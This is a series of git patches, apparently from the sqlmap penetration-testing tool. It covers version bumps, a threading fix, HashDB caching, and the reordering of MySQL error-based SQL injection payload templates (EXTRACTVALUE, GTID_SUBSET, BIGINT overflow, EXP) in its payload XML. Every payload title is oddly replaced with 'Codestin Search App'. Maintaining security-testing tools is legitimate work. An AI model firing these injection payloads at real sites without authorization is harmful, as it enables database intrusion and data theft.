10719f5ca450610ad28242017b2d8a77354ca357ffa26948c5f62d20cac29a8b lib/core/update.py ec11fd5a3f4efd10a1cae288157ac6eb6fb75da4666d76d19f6adf74ac338b5a lib/core/wordlist.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 3545214636b..40844e5e5db 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.73" +VERSION = "1.10.1.74" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index bdee4b16a83..ff637094000 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -188,13 +188,15 @@ def _threadFunction(): threads.append(thread) # And wait for them to all finish - alive = True - while alive: + while True: alive = False for thread in threads: - if thread.is_alive(): + if thread.isAlive(): alive = True - time.sleep(0.1) + break + if not alive: + break + time.sleep(0.1) except (KeyboardInterrupt, SqlmapUserQuitException) as ex: print() @@ -211,8 +213,8 @@ def _threadFunction(): if numThreads > 1: logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else "")) try: - while (threading.active_count() > 1): - pass + while threading.active_count() > 1: + time.sleep(0.1) except KeyboardInterrupt: kb.multipleCtrlC = True From 8a973465642a6a57221f369c3425d92ab2a69a32 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 28 Jan 2026 20:47:00 +0100 Subject: [PATCH 077/135] Bug fix --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/core/threads.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b8374cf046b..c6fb403c3b7 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,12 +188,12 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -cacbf90118ef472f154474891da53f6fd2641c98421902134ba1706f9bc1c716 lib/core/settings.py +eef62463fa0e69928766368d1364cb999490a2f7e320d84cd295d2fcb8b19c8d lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py ddf8c5a3dbebd6cdf8b8ba4417e36652d1e040f025175cb6487f1aebc0208836 lib/core/testing.py -2ac067fd7a8d6fedbc75f0ac2e5ee1533c63009bf257e88fdd71d8d71d4c8e5a lib/core/threads.py +b5b65f018d6ef4b1ceeebbc50d372e07d4733267c9f3f4b13062efd065e847b6 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 10719f5ca450610ad28242017b2d8a77354ca357ffa26948c5f62d20cac29a8b lib/core/update.py ec11fd5a3f4efd10a1cae288157ac6eb6fb75da4666d76d19f6adf74ac338b5a lib/core/wordlist.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 40844e5e5db..4bc25aec862 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.74" +VERSION = "1.10.1.75" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index ff637094000..7334560036a 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -191,7 +191,7 @@ def _threadFunction(): while True: alive = False for thread in threads: - if thread.isAlive(): + if thread.is_alive(): alive = True break if not alive: From 2172aea6e4f80098416e1c965c766c36c96df1cc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 28 Jan 2026 21:39:24 +0100 Subject: [PATCH 078/135] Speed up of HashDB related operations --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/utils/hashdb.py | 11 ++++++++++- 3 files changed, 13 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index c6fb403c3b7..4ff1024130b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -eef62463fa0e69928766368d1364cb999490a2f7e320d84cd295d2fcb8b19c8d lib/core/settings.py +0ee329c67d24169c161bcbce34a1ac8027f4ccec31d24219cef60da6629225c2 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -248,7 +248,7 @@ a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py 853c3595e1d2efc54b8bfb6ab12c55d1efc1603be266978e3a7d96d553d91a52 lib/utils/gui.py 366e6fd5356fae7e3f2467c070d064b6695be80b50f1530ea3c01e86569b58b2 lib/utils/har.py -ca82ddc36d660c479bb47201182f47411b1f75a847a556229987f2d005fc5832 lib/utils/hashdb.py +873792c145c2e7f503632cb8f19290e56c833eaad644d0e9038664722c7b9ec0 lib/utils/hashdb.py 84bf572a9e7915e91dbffea996e1a7b749392725f1ad7f412d0ff48c636a2896 lib/utils/hash.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py 22ba65391b0a73b1925e5becf8ddab6ba73a196d86e351a2263509aad6676bd7 lib/utils/pivotdumptable.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 4bc25aec862..eeae0bc366a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.75" +VERSION = "1.10.1.76" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 63f81671407..3975bdd3965 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -20,6 +20,7 @@ from lib.core.convert import getBytes from lib.core.convert import getUnicode from lib.core.data import logger +from lib.core.datatype import LRUDict from lib.core.exception import SqlmapConnectionException from lib.core.settings import HASHDB_END_TRANSACTION_RETRIES from lib.core.settings import HASHDB_FLUSH_RETRIES @@ -33,6 +34,7 @@ class HashDB(object): def __init__(self, filepath): self.filepath = filepath self._write_cache = {} + self._read_cache = LRUDict(capacity=100) self._cache_lock = threading.Lock() self._connections = [] self._last_flush_time = time.time() @@ -91,6 +93,10 @@ def retrieve(self, key, unserialize=False): if key and (self._write_cache or self._connections or os.path.isfile(self.filepath)): hash_ = HashDB.hashKey(key) retVal = self._write_cache.get(hash_) + + if retVal is None: + retVal = self._read_cache.get(hash_) + if not retVal: for _ in xrange(HASHDB_RETRIEVE_RETRIES): try: @@ -111,6 +117,9 @@ def retrieve(self, key, unserialize=False): time.sleep(1) + if retVal is not None: + self._read_cache[hash_] = retVal + if retVal and unserialize: try: retVal = unserializeObject(retVal) @@ -126,7 +135,7 @@ def write(self, key, value, serialize=False): if key: hash_ = HashDB.hashKey(key) with self._cache_lock: - self._write_cache[hash_] = getUnicode(value) if not serialize else serializeObject(value) + self._write_cache[hash_] = self._read_cache[hash_] = getUnicode(value) if not serialize else serializeObject(value) cache_size = len(self._write_cache) time_since_flush = time.time() - self._last_flush_time From a4c1afafeee6aa1981fa8048a00021372c39a20d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 28 Jan 2026 22:56:09 +0100 Subject: [PATCH 079/135] Speed optimization of HashDB --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/utils/hashdb.py | 11 +++++++++-- 3 files changed, 12 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 4ff1024130b..3cfe5e5e6f0 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -0ee329c67d24169c161bcbce34a1ac8027f4ccec31d24219cef60da6629225c2 lib/core/settings.py +0c7b29f4d166a695cdc0cecf14e38ea29a3cc2725e551c8222503e810d4bff97 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -248,7 +248,7 @@ a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py 853c3595e1d2efc54b8bfb6ab12c55d1efc1603be266978e3a7d96d553d91a52 lib/utils/gui.py 366e6fd5356fae7e3f2467c070d064b6695be80b50f1530ea3c01e86569b58b2 lib/utils/har.py -873792c145c2e7f503632cb8f19290e56c833eaad644d0e9038664722c7b9ec0 lib/utils/hashdb.py +1b6a477b9fe4b2c4efdc2b6aa18503bb92210854f3bac81f6494d5adedc68141 lib/utils/hashdb.py 84bf572a9e7915e91dbffea996e1a7b749392725f1ad7f412d0ff48c636a2896 lib/utils/hash.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py 22ba65391b0a73b1925e5becf8ddab6ba73a196d86e351a2263509aad6676bd7 lib/utils/pivotdumptable.py diff --git a/lib/core/settings.py b/lib/core/settings.py index eeae0bc366a..c363714f197 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.76" +VERSION = "1.10.1.77" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 3975bdd3965..2acd875334e 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -45,6 +45,9 @@ def _get_cursor(self): if threadData.hashDBCursor is None: try: connection = sqlite3.connect(self.filepath, timeout=10, isolation_level=None, check_same_thread=False) + connection.execute("PRAGMA journal_mode=WAL") + connection.execute("PRAGMA synchronous=NORMAL") + connection.execute("PRAGMA busy_timeout=10000") self._connections.append(connection) threadData.hashDBCursor = connection.cursor() threadData.hashDBCursor.execute("CREATE TABLE IF NOT EXISTS storage (id INTEGER PRIMARY KEY, value TEXT)") @@ -66,7 +69,9 @@ def close(self): threadData = getCurrentThreadData() try: if threadData.hashDBCursor: - threadData.hashDBCursor.connection.commit() + if self._write_cache: + self.flush() + threadData.hashDBCursor.close() threadData.hashDBCursor.connection.close() threadData.hashDBCursor = None @@ -74,9 +79,11 @@ def close(self): pass def closeAll(self): + if self._write_cache: + self.flush() + for connection in self._connections: try: - connection.commit() connection.close() except: pass From c871a37693d0879a5891345e3f015ee05673b1a6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 28 Jan 2026 23:35:02 +0100 Subject: [PATCH 080/135] Demotion of MySQL/FLOOR payloads --- data/txt/sha256sums.txt | 4 ++-- data/xml/payloads/error_based.xml | 16 ++++++++-------- lib/core/settings.py | 2 +- 3 files changed, 11 insertions(+), 11 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 3cfe5e5e6f0..d0060e65a8c 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -79,7 +79,7 @@ e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banne 0223157364ea212de98190e7c6f46f9d2ee20cf3d17916d1af16e857bb5dc575 data/xml/boundaries.xml 02a7f6d6a0e023c3f087f78ab49cfb99e81df2b42e32718f877d90ab220486dc data/xml/errors.xml d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451 data/xml/payloads/boolean_blind.xml -f2b711ea18f20239ba9902732631684b61106d4a4271669125a4cf41401b3eaf data/xml/payloads/error_based.xml +6a0ee35da88864f396c62363ead2cd30fa0279b7a81861323657f852256afd5d data/xml/payloads/error_based.xml b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/payloads/inline_query.xml 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml @@ -188,7 +188,7 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -0c7b29f4d166a695cdc0cecf14e38ea29a3cc2725e551c8222503e810d4bff97 lib/core/settings.py +047bea3b07a95d1c2778e76aebe98d2f081fb26a546ea35ee5a186148acefa4b lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index 0d717f96170..e6b0a7e403c 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -175,7 +175,7 @@ Codestin Search App 2 - 2 + 4 1 1,2,3,8,9 1 @@ -199,7 +199,7 @@ Codestin Search App 2 - 2 + 4 3 1,2,3,8,9 @@ -342,7 +342,7 @@ Codestin Search App 2 - 3 + 5 1 1,2,3,8,9 1 @@ -367,7 +367,7 @@ Codestin Search App 2 - 3 + 5 3 1,8,9 1 @@ -392,7 +392,7 @@ Codestin Search App 2 - 4 + 5 3 1,8,9 2 @@ -1027,7 +1027,7 @@ Codestin Search App 2 - 2 + 4 1 1,2,3,9 3 @@ -1316,7 +1316,7 @@ Codestin Search App 2 - 4 + 5 1 2,3 1 @@ -1376,7 +1376,7 @@ Codestin Search App 2 - 3 + 5 1 2,3 1 diff --git a/lib/core/settings.py b/lib/core/settings.py index c363714f197..1815e4a7a56 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.77" +VERSION = "1.10.1.78" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 7be7240ed6c0b2362d1d1a84134fbb421f2e8a55 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 28 Jan 2026 23:37:41 +0100 Subject: [PATCH 081/135] Promotion of MySQL/GTID_SUBSET payloads --- data/txt/sha256sums.txt | 4 ++-- data/xml/payloads/error_based.xml | 8 ++++---- lib/core/settings.py | 2 +- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d0060e65a8c..7be1613d58c 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -79,7 +79,7 @@ e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banne 0223157364ea212de98190e7c6f46f9d2ee20cf3d17916d1af16e857bb5dc575 data/xml/boundaries.xml 02a7f6d6a0e023c3f087f78ab49cfb99e81df2b42e32718f877d90ab220486dc data/xml/errors.xml d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451 data/xml/payloads/boolean_blind.xml -6a0ee35da88864f396c62363ead2cd30fa0279b7a81861323657f852256afd5d data/xml/payloads/error_based.xml +cd2d6fb185e09e1b8e27f54d281b90bc6a8e8fab83bede5b7041ae70a7519c62 data/xml/payloads/error_based.xml b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/payloads/inline_query.xml 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml @@ -188,7 +188,7 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -047bea3b07a95d1c2778e76aebe98d2f081fb26a546ea35ee5a186148acefa4b lib/core/settings.py +5417fd68482f77744c8cd61e8f151101ff526ef8b818d7124253781f9ede649c lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index e6b0a7e403c..b985d38687c 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -94,7 +94,7 @@ Codestin Search App 2 - 4 + 1 1 1,2,3,8,9 1 @@ -114,7 +114,7 @@ Codestin Search App 2 - 4 + 1 3 1,8,9 1 @@ -987,7 +987,7 @@ Codestin Search App 2 - 5 + 2 1 1,2,3,9 3 @@ -1276,7 +1276,7 @@ Codestin Search App 2 - 5 + 2 1 2,3 1 diff --git a/lib/core/settings.py b/lib/core/settings.py index 1815e4a7a56..abf779ca3cb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.78" +VERSION = "1.10.1.79" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 60950bc03b66183259581ed482d01f11c0400150 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 28 Jan 2026 23:41:05 +0100 Subject: [PATCH 082/135] Changing order of MySQL error-based payloads --- data/txt/sha256sums.txt | 4 +- data/xml/payloads/error_based.xml | 166 +++++++++++++++--------------- lib/core/settings.py | 2 +- 3 files changed, 86 insertions(+), 86 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 7be1613d58c..93e316e6d9a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -79,7 +79,7 @@ e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banne 0223157364ea212de98190e7c6f46f9d2ee20cf3d17916d1af16e857bb5dc575 data/xml/boundaries.xml 02a7f6d6a0e023c3f087f78ab49cfb99e81df2b42e32718f877d90ab220486dc data/xml/errors.xml d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451 data/xml/payloads/boolean_blind.xml -cd2d6fb185e09e1b8e27f54d281b90bc6a8e8fab83bede5b7041ae70a7519c62 data/xml/payloads/error_based.xml +88b8931a6d19af14e44a82408c250ed89295947575bbf3ff3047da1d37d1a1c1 data/xml/payloads/error_based.xml b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/payloads/inline_query.xml 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml @@ -188,7 +188,7 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -5417fd68482f77744c8cd61e8f151101ff526ef8b818d7124253781f9ede649c lib/core/settings.py +654c3814181dd2fc9d6acee0c30a1d541146630367e3823dd0fa2658f5960ecc lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index b985d38687c..3023df9fba8 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -3,64 +3,108 @@ - Codestin Search App + Codestin Search App 2 - 4 + 1 1 1,2,3,8,9 1 - AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.5 + >= 5.1
- - Codestin Search App + Codestin Search App 2 - 4 + 1 3 - 1,8,9 + 1,2,3,8,9 + 1 - OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.5 + >= 5.1
- Codestin Search App + Codestin Search App + 2 + 2 + 1 + 1,2,3,8,9 + 1 + AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + + AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.6 +
+
+ + + Codestin Search App + 2 + 2 + 3 + 1,8,9 + 1 + OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + + OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.6 +
+
+ + + Codestin Search App 2 4 1 1,2,3,8,9 1 - AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) + AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) - AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) + + AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -72,15 +116,20 @@ - Codestin Search App + + Codestin Search App 2 4 3 1,8,9 1 - OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) + OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) - OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) + + OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -92,42 +141,42 @@ - Codestin Search App + Codestin Search App 2 - 1 + 4 1 1,2,3,8,9 1 - AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) - AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.6 + >= 5.5
